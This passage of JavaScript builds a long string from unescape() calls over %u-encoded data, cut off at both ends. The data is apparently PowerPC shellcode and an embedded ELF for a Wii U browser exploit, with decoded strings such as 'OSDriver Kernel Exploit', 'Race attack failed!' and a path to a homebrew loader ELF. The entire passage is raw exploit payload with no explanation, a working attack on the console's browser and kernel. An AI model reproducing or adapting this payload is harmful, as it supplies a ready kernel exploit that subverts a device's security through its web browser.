unescape(\"%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u346d%u38c1%u0078%u38e1%u007c%u3900%u0001%u9121%u007c%u9121%u0078%u4bff%ufa99%u7c6a%u1b79%u8081%u0008%u41a2%u0018%u8061%u007c%u7c84%u5214\");\n    str    += unescape(\"%u80a1%u0078%u3c63%uc000%u4bff%ue189%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u3473%u38c1%u0070%u38e1%u0074%u3900%u0000%u9121%u0074%u9121%u0070%u4bff%ufa4d%u7c64%u1b79%u41a2%u001c\");\n    str    += unescape(\"%u8061%u0074%u8121%u0008%u80a1%u0070%u3c63%uc000%u7c89%u2214%u4bff%ue13d%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u347b%u38c1%u0068%u38e1%u006c%u3900%u0000%u9121%u006c%u9121%u0068\");\n    str    += unescape(\"%u4bff%ufa01%u7c64%u1b79%u41a2%u001c%u8061%u006c%u8121%u0008%u80a1%u0068%u3c63%uc000%u7c89%u2214%u4bff%ue0f1%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u3481%u38c1%u0044%u38e1%u0064\");\n    str    += unescape(\"%u3900%u0000%u9121%u0064%u9121%u0044%u4bff%uf9b5%u7c64%u1b79%u41a2%u001c%u8061%u0064%u8121%u0008%u80a1%u0044%u3c63%uc000%u7c89%u2214%u4bff%ue0a5%u3c60%uffe8%u3c80%u0180%u6063%u5968%u3884%u0058\");\n    str    += unescape(\"%u4bff%ueb31%u3c60%uffe8%u3c80%ufff0%u6063%u4d60%u6084%u2214%u4bff%ueb1d%u3c60%uffe8%u3c80%ufff0%u6063%u5160%u6084%u2214%u4bff%ueb09%u3c60%uffe8%u3c80%ufff0%u6063%u5d60%u6084%u2214%u4bff%ueaf5\");\n    str    += unescape(\"%u3c60%uffe8%u3c80%ufff0%u6063%u5560%u6084%u2214%u4bff%ueae1%u3c60%uffe8%u3c80%ufff0%u6063%u4d64%u6084%u2234%u4bff%ueacd%u3c60%uffe8%u3c80%ufff0%u6063%u5164%u6084%u2234%u4bff%ueab9%u3c60%uffe8\");\n    str    += unescape(\"%u3c80%ufff0%u6063%u5d64%u6084%u2234%u4bff%ueaa5%u3c60%uffe8%u3c80%ufff0%u6063%u5564%u6084%u2234%u4bff%uea91%u4bff%udff9%u8121%u0014%u3880%u0000%u38a0%u0020%u7d29%u03a6%u3861%u0044%u4e80%u0421\");\n    str    += unescape(\"%u3c60%uc080%u3920%u0190%u6063%u1404%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%udfb9%u3d20%udead%u3c60%uc080%u6129%uc0de%u6063%u1400%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%udf99%u3c60%uc080\");\n    str    += unescape(\"%u3881%u0064%u6063%u1300%u38a0%u0004%u4bff%udf85%u3c60%uc080%u3920%u0000%u6063%u1304%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%udf69%u3d20%u0102%u3c60%uc080%u6129%u6e60%u6063%u1500%u9121%u0044\");\n    str    += unescape(\"%u3d20%u0102%u6129%u8460%u3881%u0044%u9121%u0048%u3d20%uffe8%u6129%u4c90%u38a0%u0020%u9121%u0050%u3d20%uffe8%u6129%u5090%u9121%u0054%u3d20%uffe8%u6129%u5c90%u9121%u0058%u3d20%uffe8%u6129%u5490\");\n    str    += unescape(\"%u9121%u005c%u3d20%uffe8%u6129%u5890%u9121%u0060%u3d20%u1005%u6129%ua600%u9121%u004c%u4bff%udef5%u8121%u0008%u3c60%uc201%u38a0%u0004%u6063%ubd4c%u8129%u0018%u3881%u0064%u5529%u01ba%u6529%u4800\");\n    str    += unescape(\"%u6129%u0003%u9121%u0064%u4bff%udec9%u8121%u0028%u3c60%u0101%u3880%u0004%u6063%ubd4c%u7d29%u03a6%u4e80%u0421%u8121%u0020%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0020%u7fc3%uf378%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u8121%u002c%u7d29%u03a6%u4e80%u0421%u3961%u00a0%u4800%u0044%u81cb%uffb8%u81eb%uffbc%u820b%uffc0%u822b%uffc4%u824b%uffc8%u826b%uffcc%u828b%uffd0%u82ab%uffd4%u82cb%uffd8%u82eb%uffdc\");\n    str    += unescape(\"%u830b%uffe0%u832b%uffe4%u834b%uffe8%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u7d61%u5b78%u4e80%u0020%u801f%u0000%u7c09%u03a6%u4e80%u0421%u83ff%u0004\");\n    str    += unescape(\"%u2c1f%u0000%u4082%uffec%u8001%u0014%u83e1%u000c%u7c08%u03a6%u3821%u0010%u4e80%u0020%u8061%u0008%u8081%u000c%u8001%u0014%u7c08%u03a6%u3821%u0010%u4e80%u0020%u80a1%u0008%u3821%u0010%u7ca3%u2b78\");\n    str    += unescape(\"%u8081%u0004%u7c88%u03a6%u4e80%u0020%u80c1%u0014%u9061%u0010%u8001%u0010%u915e%u002c%u8121%u0008%u901e%u0030%u913e%u0028%u90de%u0034%u8001%u0034%u83e1%u002c%u7c08%u03a6%u83c1%u0028%u3821%u0030\");\n    str    += unescape(\"%u4e80%u0020%u8001%u0034%u83e1%u002c%u7c08%u03a6%u83c1%u0028%u3821%u0030%u4e80%u0020%u3800%u3200%u4400%u0002%u4e80%u0020%u3800%u3300%u4400%u0002%u4e80%u0020%u3800%u4700%u4400%u0002%u4e80%u0020\");\n    str    += unescape(\"%u3800%u4800%u4400%u0002%u4e80%u0020%u6d65%u6d73%u6574%u004f%u5341%u6c6c%u6f63%u4672%u6f6d%u5379%u7374%u656d%u004f%u5346%u7265%u6554%u6f53%u7973%u7465%u6d00%u494d%u5f53%u6574%u4465%u7669%u6365\");\n    str    += unescape(\"%u5374%u6174%u6500%u494d%u5f43%u6c6f%u7365%u0049%u4d5f%u4f70%u656e%u004f%u5353%u6372%u6565%u6e50%u7574%u466f%u6e74%u4578%u004f%u5353%u6372%u6565%u6e43%u6c65%u6172%u4275%u6666%u6572%u4578%u0044\");\n    str    += unescape(\"%u4346%u6c75%u7368%u5261%u6e67%u6500%u4f53%u5363%u7265%u656e%u466c%u6970%u4275%u6666%u6572%u7345%u7800%u4f53%u5363%u7265%u656e%u4765%u7442%u7566%u6665%u7253%u697a%u6545%u7800%u4f53%u5363%u7265\");\n    str    += unescape(\"%u656e%u496e%u6974%u004f%u5353%u6372%u6565%u6e53%u6574%u4275%u6666%u6572%u4578%u004f%u5344%u7269%u7665%u7220%u4b65%u726e%u656c%u2045%u7870%u6c6f%u6974%u005f%u4578%u6974%u004f%u5343%u7265%u6174\");\n    str    += unescape(\"%u6554%u6872%u6561%u6400%u4f53%u5265%u7375%u6d65%u5468%u7265%u6164%u004f%u5349%u7354%u6872%u6561%u6454%u6572%u6d69%u6e61%u7465%u6400%u4761%u6467%u6574%u206e%u6f74%u2066%u6f75%u6e64%u2100%u636f\");\n    str    += unescape(\"%u7265%u696e%u6974%u0073%u7973%u6170%u7000%u6d65%u6d63%u7079%u0044%u4349%u6e76%u616c%u6964%u6174%u6552%u616e%u6765%u0049%u4349%u6e76%u616c%u6964%u6174%u6552%u616e%u6765%u004f%u5347%u6574%u5468\");\n    str    += unescape(\"%u7265%u6164%u5072%u696f%u7269%u7479%u004f%u5347%u6574%u4375%u7272%u656e%u7454%u6872%u6561%u6400%u4f53%u5969%u656c%u6454%u6872%u6561%u6400%u5f5f%u5050%u4345%u7869%u7400%u5359%u5353%u7769%u7463\");\n    str    += unescape(\"%u6854%u6f42%u726f%u7773%u6572%u0053%u5953%u4c61%u756e%u6368%u5365%u7474%u696e%u6773%u0046%u6169%u6c65%u6420%u746f%u2063%u7265%u6174%u6520%u7468%u7265%u6164%u7321%u2050%u6c65%u6173%u6520%u7472\");\n    str    += unescape(\"%u7920%u6167%u6169%u6e2e%u0052%u756e%u6e69%u6e67%u2045%u7870%u6c6f%u6974%u2e2e%u2e00%u4f53%u536c%u6565%u7054%u6963%u6b73%u0044%u5256%u4100%u4452%u5642%u0052%u6567%u6973%u7465%u7228%u2920%u6f66\");\n    str    += unescape(\"%u2064%u7269%u7665%u7220%u4120%u616e%u6420%u4220%u6661%u696c%u6564%u2120%u5265%u6c6f%u6164%u696e%u6720%u6b65%u726e%u656c%u2e2e%u2e00%u4661%u696c%u6564%u2074%u6f20%u616c%u6c6f%u6361%u7465%u2070\");\n    str    += unescape(\"%u6179%u6c6f%u6164%u2120%u5265%u6c6f%u6164%u696e%u6720%u6b65%u726e%u656c%u2e2e%u2e00%u4452%u5648%u4158%u0052%u6163%u6520%u6174%u7461%u636b%u2066%u6169%u6c65%u6421%u2052%u656c%u6f61%u6469%u6e67\");\n    str    += unescape(\"%u206b%u6572%u6e65%u6c2e%u2e2e%u0046%u6169%u6c65%u6420%u746f%u2066%u696e%u6420%u4452%u5641%u206f%u7220%u4452%u5648%u4158%u2120%u5265%u6c6f%u6164%u696e%u6720%u6b65%u726e%u656c%u2e2e%u2e00%u0000\");\n    str    += unescape(\"%u7f45%u4c46%u0102%u0100%u0000%u0000%u0000%u0000%u0002%u0014%u0000%u0001%u0080%u04d0%u0000%u0034%u0000%u0bd0%u0000%u0000%u0034%u0020%u0001%u0028%u0004%u0003%u0000%u0001%u0000%u0054%u0080%u0000\");\n    str    += unescape(\"%u0080%u0000%u0000%u0b64%u0000%u0b64%u0000%u0005%u0000%u0004%u7ca8%u02a6%u7ca9%u03a6%u7ce8%u03a6%u7cb0%u8aa6%u7cba%u8ba6%u7cb1%u8aa6%u7cbb%u8ba6%u80a3%u0034%u80c3%u0038%u80e3%u003c%u8103%u0040\");\n    str    += unescape(\"%u8123%u0044%u8143%u0048%u8163%u004c%u8063%u0050%u4c00%u012c%u7ca7%u01a4%u4e80%u0420%u7c08%u02a6%u9421%uffe0%ubf61%u000c%u7c9f%u2378%u9001%u0024%u83c4%u001c%u2f9e%u0000%u40be%u000c%u3860%u0000\");\n    str    += unescape(\"%u4800%u0180%ua124%u002c%u2f89%u0000%u41be%ufff0%ua124%u002a%u2f89%u0020%u409e%uffe4%u7c7d%u1b78%u7fc4%uf214%u3b80%u0000%ua13f%u002c%u7f9c%u4800%u409c%u0084%u813e%u0000%u2f89%u0001%u40be%u006c\");\n    str    += unescape(\"%u80be%u0010%u813e%u0014%u7f85%u4840%u41bd%uffb0%u2f85%u0000%u41be%u0054%u837e%u000c%u813d%u0008%u809e%u0004%u7f63%udb78%u7d29%u03a6%u7c9f%u2214%u4e80%u0421%u813d%u0014%u7f63%udb78%u809e%u0010\");\n    str    += unescape(\"%u7d29%u03a6%u4e80%u0421%u813e%u0018%u712a%u0001%u41a2%u0018%u813d%u0018%u807e%u000c%u809e%u0014%u7d29%u03a6%u4e80%u0421%u3b9c%u0001%u3bde%u0020%u4bff%uff78%u837f%u0020%u3b80%u0000%u7f7f%uda14\");\n    str    += unescape(\"%u7f7e%udb78%ua13f%u0030%u7f9c%u4800%u409c%u00b0%ua15f%u0032%u813e%u0000%u1d4a%u0028%u7d5b%u5214%u814a%u0010%u7d49%u5214%u7d3f%u5214%u7d5f%u50ae%u2f8a%u002e%u40be%u007c%u8949%u0001%u2b8a%u0062\");\n    str    += unescape(\"%u40be%u0018%u8949%u0002%u2f8a%u0073%u40be%u0064%u8929%u0003%u4800%u0028%u2b8a%u0073%u40be%u0054%u8949%u0002%u2f8a%u0062%u40be%u0048%u8949%u0003%u2f8a%u0073%u40be%u003c%u8929%u0004%u2f89%u0073\");\n    str    += unescape(\"%u40be%u0030%u813d%u000c%u3880%u0000%u807e%u000c%u7d29%u03a6%u80be%u0014%u4e80%u0421%u813d%u0014%u807e%u000c%u809e%u0014%u7d29%u03a6%u4e80%u0421%u3b9c%u0001%u3bde%u0028%u4bff%uff4c%u807f%u0018\");\n    str    += unescape(\"%u3961%u0020%u4800%u0734%u7c08%u02a6%u9421%ufbe8%u3920%uffff%u9121%u03ec%u9001%u041c%ubf21%u03fc%u7c7f%u1b78%u8123%u0000%u7c99%u2378%u3860%u1700%u3880%u0004%u7d29%u03a6%u7cba%u2b78%u4e80%u0421\");\n    str    += unescape(\"%u7c7e%u1b79%u4182%u0294%u813f%u0000%u3860%u0a80%u3880%u0004%u7d29%u03a6%u4e80%u0421%u7c7d%u1b79%u40a2%u0018%u813f%u0004%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u4800%u0264%u813f%u0024%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u813f%u0030%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u813f%u0028%u3880%u0000%u38a0%uffff%u7d29%u03a6%u7fc3%uf378%u4e80%u0421%u813f%u0034%u7fc3%uf378%u7fa4%ueb78%u38a0%u0000%u38c1%u0008\");\n    str    += unescape(\"%u38e0%uffff%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u419e%u0014%u3c60%u0080%u813f%u0010%u3863%u0948%u4800%u003c%u813f%u0038%u7fc3%uf378%u7fa4%ueb78%u38a1%u0008%u38c1%u0308%u38e0%u0080%u3900%uffff\");\n    str    += unescape(\"%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u419e%u001c%u3c60%u0080%u813f%u0010%u3863%u0961%u7d29%u03a6%u4e80%u0421%u4800%u0178%u813f%u0040%u3ca0%u0080%u3cc0%u0080%u7fc3%uf378%u7fa4%ueb78%u38a5%u0972\");\n    str    += unescape(\"%u38c6%u09aa%u38e1%u03ec%u3900%uffff%u7d29%u03a6%u4e80%u0421%u2c03%u0000%u4182%u0024%u813f%u003c%u7fc3%uf378%u7fa4%ueb78%u38a1%u0308%u38c0%uffff%u7d29%u03a6%u4e80%u0421%u4800%u0124%u813f%u0044\");\n    str    += unescape(\"%u7fa4%ueb78%u9061%u0398%u38c1%u0388%u7fc3%uf378%u80a1%u03ec%u38e0%uffff%u7d29%u03a6%u4e80%u0421%u8061%u0398%u2f83%u0000%u41be%u0024%u813f%u0000%u3863%u003f%u5463%u0032%u3880%u0040%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u7c7b%u1b79%u40a2%u001c%u813f%u0010%u3c60%u0080%u3863%u09ac%u3b60%u0000%u7d29%u03a6%u4e80%u0421%u3b80%u0000%u80e1%u0398%u7f9c%u3840%u409c%u0038%u817f%u0048%u7fc3%uf378%u7fa4%ueb78\");\n    str    += unescape(\"%u7cbb%ue214%u38c0%u0001%u7cfc%u3850%u8101%u03ec%u3920%u0000%u3940%uffff%u7d69%u03a6%u4e80%u0421%u2c03%u0000%u41a1%u0028%u8121%u0398%u7f9c%u4800%u419e%u0024%u813f%u0004%u7f63%udb78%u3b80%u0000\");\n    str    += unescape(\"%u7d29%u03a6%u4e80%u0421%u4800%u0018%u7f9c%u1a14%u4bff%uff98%u9379%u0000%u939a%u0000%u3b80%u0001%u813f%u004c%u7fa4%ueb78%u80a1%u03ec%u7fc3%uf378%u7d29%u03a6%u38c0%uffff%u4e80%u0421%u813f%u003c\");\n    str    += unescape(\"%u7fc3%uf378%u7fa4%ueb78%u38a1%u0308%u38c0%uffff%u7d29%u03a6%u4e80%u0421%u4800%u0008%u3b80%u0000%u813f%u002c%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u813f%u0004%u7fc3%uf378%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u813f%u0004%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u7f83%ue378%u4800%u0008%u3860%u0000%u3961%u0418%u4800%u0450%u7c08%u02a6%u9421%uff70%u3d20%u0080%u6129%u1500%ubec1%u0068%u9001%u0094%u7c79%u1b78\");\n    str    += unescape(\"%u3c60%u0080%u7c9a%u2378%u83c9%u0000%u3881%u0064%u3863%u09cc%u83e9%u0004%u7fc9%u03a6%u3fa0%u0080%u3f80%udead%u3ee0%u0080%u3ec0%u0080%u63bd%u1300%u639c%uc0de%u3b60%u0000%u4e80%u0421%u3920%u0000\");\n    str    += unescape(\"%u3ca0%u0080%u7fe9%u03a6%u9121%u0060%u3880%u0001%u38a5%u09d5%u38c1%u0060%u8061%u0064%u3af7%u0b28%u3ad6%u0aeb%u4e80%u0421%u8121%u0060%u3ca0%u0080%u7fe9%u03a6%u8129%u0000%u3880%u0001%u38a5%u09ef\");\n    str    += unescape(\"%u38c1%u0060%u9121%u0008%u8061%u0064%u4e80%u0421%u8121%u0060%u3ca0%u0080%u7fe9%u03a6%u8129%u0000%u3880%u0000%u38a5%u0a04%u38c1%u0010%u9121%u000c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6\");\n    str    += unescape(\"%u3880%u0000%u38a5%u0a0b%u38c1%u0014%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a12%u38c1%u0018%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a1a\");\n    str    += unescape(\"%u38c1%u001c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a27%u38c1%u0020%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a39%u38c1%u0024%u8061%u0064\");\n    str    += unescape(\"%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a47%u38c1%u0028%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a4c%u38c1%u002c%u8061%u0064%u4e80%u0421%u3ca0%u0080\");\n    str    += unescape(\"%u7fe9%u03a6%u3880%u0000%u38a5%u0a53%u38c1%u0030%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a61%u38c1%u0034%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000\");\n    str    += unescape(\"%u38a5%u0a6d%u38c1%u0038%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a7c%u38c1%u003c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a8d%u38c1%u0040\");\n    str    += unescape(\"%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a95%u38c1%u0044%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a9f%u38c1%u0048%u8061%u0064%u4e80%u0421\");\n    str    += unescape(\"%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0aaa%u38c1%u004c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0ab8%u38c1%u0050%u8061%u0064%u4e80%u0421%u3ca0%u0080%u38a5%u0ac3\");\n    str    += unescape(\"%u38c1%u0054%u7fe9%u03a6%u3880%u0000%u8061%u0064%u4e80%u0421%u3c60%u0080%u7fc9%u03a6%u3881%u005c%u3863%u0acf%u3fc0%u0080%u63de%u1304%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u8061%u005c%u3880%u0000\");\n    str    += unescape(\"%u38a5%u0ada%u38c1%u0058%u3fe0%u0080%u63ff%u1400%u4e80%u0421%u813d%u0000%u7f89%ue000%u419e%u0068%u813e%u0000%u2f89%u0000%u41be%u005c%u8121%u0008%u3880%u0004%u807e%u0000%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u7c78%u1b79%u4182%u0038%u8121%u0010%u809d%u0000%u7d29%u03a6%u80be%u0000%u4e80%u0421%u3861%u0008%u7f04%uc378%u4bff%uf839%u8121%u000c%u907f%u0000%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u939d%u0000\");\n    str    += unescape(\"%u937e%u0000%u813f%u0000%u7f89%ue000%u419e%u0010%u813f%u0000%u2f89%u0000%u409e%u0068%u3881%u0060%u3861%u0008%u38a1%u005c%u9361%u0060%u9361%u005c%u4bff%uf999%u8081%u0060%u7ec3%ub378%u2f84%u0000\");\n    str    += unescape(\"%u419e%u0030%u3861%u0008%u4bff%uf7d5%u8121%u000c%u907f%u0000%u7d29%u03a6%u8061%u0060%u4e80%u0421%u813f%u0000%u2f89%u0000%u409e%uff2c%u7ee3%ubb78%u8121%u0018%u7d29%u03a6%u4e80%u0421%u4bff%uff18\");\n    str    += unescape(\"%u3d20%u0080%u7f44%ud378%u6129%u1400%u7f23%ucb78%u8129%u0000%u7d29%u03a6%u4e80%u0421%u3d20%u0080%u6129%u1500%u7f23%ucb78%u8129%u0008%u7f44%ud378%u8129%u0000%u7d29%u03a6%u4e80%u0421%u3961%u0090\");\n    str    += unescape(\"%u4800%u0024%u81cb%uffb8%u81eb%uffbc%u820b%uffc0%u822b%uffc4%u824b%uffc8%u826b%uffcc%u828b%uffd0%u82ab%uffd4%u82cb%uffd8%u82eb%uffdc%u830b%uffe0%u832b%uffe4%u834b%uffe8%u836b%uffec%u838b%ufff0\");\n    str    += unescape(\"%u83ab%ufff4%u83cb%ufff8%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u7d61%u5b78%u4e80%u0020%u4653%u4765%u744d%u6f75%u6e74%u536f%u7572%u6365%u2066%u6169%u6c65%u642e%u0053%u4420%u6d6f%u756e%u7420%u6661\");\n    str    += unescape(\"%u696c%u6564%u2e00%u2f76%u6f6c%u2f65%u7874%u6572%u6e61%u6c30%u312f%u7769%u6975%u2f61%u7070%u732f%u6c6f%u6164%u6969%u6e65%u5f67%u7832%u2f6c%u6f61%u6469%u696e%u655f%u6778%u322e%u656c%u6600%u7200\");\n    str    += unescape(\"%u4e6f%u7420%u656e%u6f75%u6768%u206d%u656d%u6f72%u7920%u666f%u7220%u454c%u4620%u6669%u6c65%u2e00%u636f%u7265%u696e%u6974%u004d%u454d%u416c%u6c6f%u6346%u726f%u6d44%u6566%u6175%u6c74%u4865%u6170\");\n    str    += unescape(\"%u4578%u004d%u454d%u4672%u6565%u546f%u4465%u6661%u756c%u7448%u6561%u7000%u6d65%u6d63%u7079%u006d%u656d%u7365%u7400%u4f53%u4661%u7461%u6c00%u4443%u466c%u7573%u6852%u616e%u6765%u0049%u4349%u6e76\");\n    str    += unescape(\"%u616c%u6964%u6174%u6552%u616e%u6765%u005f%u5f6f%u735f%u736e%u7072%u696e%u7466%u0065%u7869%u7400%u4653%u496e%u6974%u0046%u5341%u6464%u436c%u6965%u6e74%u4578%u0046%u5344%u656c%u436c%u6965%u6e74\");\n    str    += unescape(\"%u0046%u5349%u6e69%u7443%u6d64%u426c%u6f63%u6b00%u4653%u4765%u744d%u6f75%u6e74%u536f%u7572%u6365%u0046%u534d%u6f75%u6e74%u0046%u5355%u6e6d%u6f75%u6e74%u0046%u534f%u7065%u6e46%u696c%u6500%u4653\");\n    str    += unescape(\"%u4765%u7453%u7461%u7446%u696c%u6500%u4653%u5265%u6164%u4669%u6c65%u0046%u5343%u6c6f%u7365%u4669%u6c65%u0073%u7973%u6170%u702e%u7270%u6c00%u5359%u5352%u656c%u6175%u6e63%u6854%u6974%u6c65%u0043\");\n    str    += unescape(\"%u6f75%u6c64%u206e%u6f74%u206c%u6f61%u6420%u6669%u6c65%u202f%u7769%u6975%u2f61%u7070%u732f%u6c6f%u6164%u6969%u6e65%u5f67%u7832%u2f6c%u6f61%u6469%u696e%u655f%u6778%u322e%u656c%u6600%u4661%u696c\");\n    str    += unescape(\"%u6564%u2074%u6f20%u6c6f%u6164%u2045%u4c46%u202f%u7769%u6975%u2f61%u7070%u732f%u6c6f%u6164%u6969%u6e65%u5f67%u7832%u2f6c%u6f61%u6469%u696e%u655f%u6778%u322e%u656c%u6600%u002e%u7368%u7374%u7274\");\n    str    += unescape(\"%u6162%u002e%u7465%u7874%u002e%u6461%u7461%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u000b%u0000%u0001\");\n    str    += unescape(\"%u0000%u0006%u0080%u0000%u0000%u0054%u0000%u0948%u0000%u0000%u0000%u0000%u0000%u0004%u0000%u0000%u0000%u0011%u0000%u0001%u0000%u0032%u0080%u0948%u0000%u099c%u0000%u021c%u0000%u0000%u0000%u0000\");\n    str    += unescape(\"%u0000%u0001%u0000%u0001%u0000%u0001%u0000%u0003%u0000%u0000%u0000%u0000%u0000%u0bb8%u0000%u0017%u0000%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u4f53%u5363%u7265%u656e%u496e%u6974%u004f%u5353\");\n    str    += unescape(\"%u6372%u6565%u6e47%u6574%u4275%u6666%u6572%u5369%u7a65%u4578%u004f%u5353%u6372%u6565%u6e53%u6574%u4275%u6666%u6572%u4578%u004f%u5353%u6372%u6565%u6e43%u6c65%u6172%u4275%u6666%u6572%u4578%u004f\");\n    str    += unescape(\"%u5353%u6372%u6565%u6e46%u6c69%u7042%u7566%u6665%u7273%u4578%u004f%u5353%u6372%u6565%u6e50%u7574%u466f%u6e74%u4578%u0073%u7973%u6170%u702e%u7270%u6c00%u5f53%u5953%u4c61%u756e%u6368%u4d69%u6953\");\n    str    += unescape(\"%u7475%u6469%u6f00%u496e%u7661%u6c69%u6420%u656c%u6620%u6669%u6c65%u0063%u6f72%u6569%u6e69%u742e%u7270%u6c00%u6d65%u6d73%u6574%u004d%u454d%u416c%u6c6f%u6346%u726f%u6d44%u6566%u6175%u6c74%u4865\");\n    str    += unescape(\"%u6170%u4578%u004d%u454d%u4672%u6565%u546f%u4465%u6661%u756c%u7448%u6561%u7000%u6d65%u6d63%u7079%u004f%u5345%u6666%u6563%u7469%u7665%u546f%u5068%u7973%u6963%u616c%u0044%u4346%u6c75%u7368%u5261\");\n    str    += unescape(\"%u6e67%u6500%u4943%u496e%u7661%u6c69%u6461%u7465%u5261%u6e67%u6500%u5f45%u7869%u7400%u494d%u5f4f%u7065%u6e00%u494d%u5f43%u6c6f%u7365%u0049%u4d5f%u5365%u7444%u6576%u6963%u6553%u7461%u7465%u004f\");\n    str    += unescape(\"%u5341%u6c6c%u6f63%u4672%u6f6d%u5379%u7374%u656d%u004f%u5346%u7265%u6554%u6f53%u7973%u7465%u6d00%u4e6f%u7420%u656e%u6f75%u6768%u206d%u656d%u6f72%u792e%u2045%u7869%u7420%u616e%u6420%u7265%u2d65\");\n    str    += unescape(\"%u6e74%u6572%u2062%u726f%u7773%u6572%u2e00%u4f53%u4372%u6561%u7465%u5468%u7265%u6164%u004f%u5352%u6573%u756d%u6554%u6872%u6561%u6400%u4f53%u4973%u5468%u7265%u6164%u5465%u726d%u696e%u6174%u6564\");\n    str    += unescape(\"%u0054%u6872%u6561%u6420%u6d65%u6d6f%u7279%u2061%u6c6c%u6f63%u6174%u696f%u6e20%u6661%u696c%u6564%u2e20%u4578%u6974%u2061%u6e64%u2072%u652d%u656e%u7465%u7220%u6272%u6f77%u7365%u722e%u0046%u6169\");\n    str    += unescape(\"%u6c65%u6420%u746f%u2063%u7265%u6174%u6520%u7468%u7265%u6164%u2e20%u4578%u6974%u2061%u6e64%u2072%u652d%u656e%u7465%u7220%u6272%u6f77%u7365%u722e%u002e%u7465%u7874%u002e%u726f%u6461%u7461%u002e\");\n    str    += unescape(\"%u6461%u7461%u002e%u6273%u7300%u0000%u0000%u003c%u0000%u0000%u017a%u5200%u047c%u4101%u1b0c%u0100%u0d0b%u1141%u7f8e%u128f%u1190%u1091%u0f92%u0e93%u0d94%u0c95%u0b96%u0a97%u0998%u0899%u079a%u069b\");\n    str    += unescape(\"%u059c%u049d%u039e%u029f%u0100%u0000%u0000%u0038%u0000%u0044%uffff%uecc4%u0000%u0058%u0041%uce41%ucf41%ud041%ud141%ud241%ud341%ud441%ud541%ud641%ud741%ud841%ud941%uda41%udb41%udc41%udd41%ude42\");\n    str    += unescape(\"%udf41%u0641%u410d%u0100%u0000%u3508%u0000%u350c%u0000%u3510%u0000%u3514%u0000%u3518%u0000%u351c%u0000%u3520%u0000%u3524%u0000%u3528%u0000%u352c%u0000%u3530%u0000%u3534%u0000%u3538%u0000%u353c\");\n    str    += unescape(\"%u0000%u3540%u0000%u3544%u0000%u3548%u0000%u354c%u0000%u3550%u0000%u3554%u0000%u3558%u0000%u355c%u0000%u3560%u0000%u3564%u0000%u3568%u0000%u356c%u0000%u3570%u0000%u3574%u0000%u3578%u0000%u357c\");\n    str    += unescape(\"%u0000%u3580%u0000%u3584%u0000%u3588%u0000%u358c%u0000%u3590%u0000%u3594%u0000%u3598%u0000%u359c%u0000%u35a0%u0000%u35a4%u0000%u35a8%u0000%u35ac%u0000%u35b0%u0000%u35b4%u0000%u35b8%u0000%u35bc\");\n    str    += unescape(\"%u0000%u35c0%u0000%u35c4%u0000%u35c8%u0000%u35cc%u0000%u35d0%u0000%u35d4%u0000%u35d8%u0000%u35dc%u0000%u35e0%u0000%u35e4%u0000%u35e8%u0000%u35ec%u0000%u35f0%u0000%u35f4%u0000%u35f8%u0000%u35fc\");\n    str    += unescape(\"%u0000%u3600%u0000%u3604%u0000%u3608%u0000%u360c%u0000%u3610%u0000%u3614%u0000%u3618%u0000%u361c%u0000%u3620%u0000%u3624%u0000%u3628%u0000%u362c%u0000%u3630%u0000%u3634%u0000%u3638%u0000%u363c\");\n    str    += unescape(\"%u0000%u3640%u0000%u3644%u0000%u3648%u0000%u364c%u0000%u3650%u0000%u3654%u0000%u3658%u0000%u365c%u0000%u3660%u0000%u3664%u0000%u3668%u0000%u366c%u0000%u3670%u0000%u3674%u0000%u3678%u0000%u367c\");\n    str    += 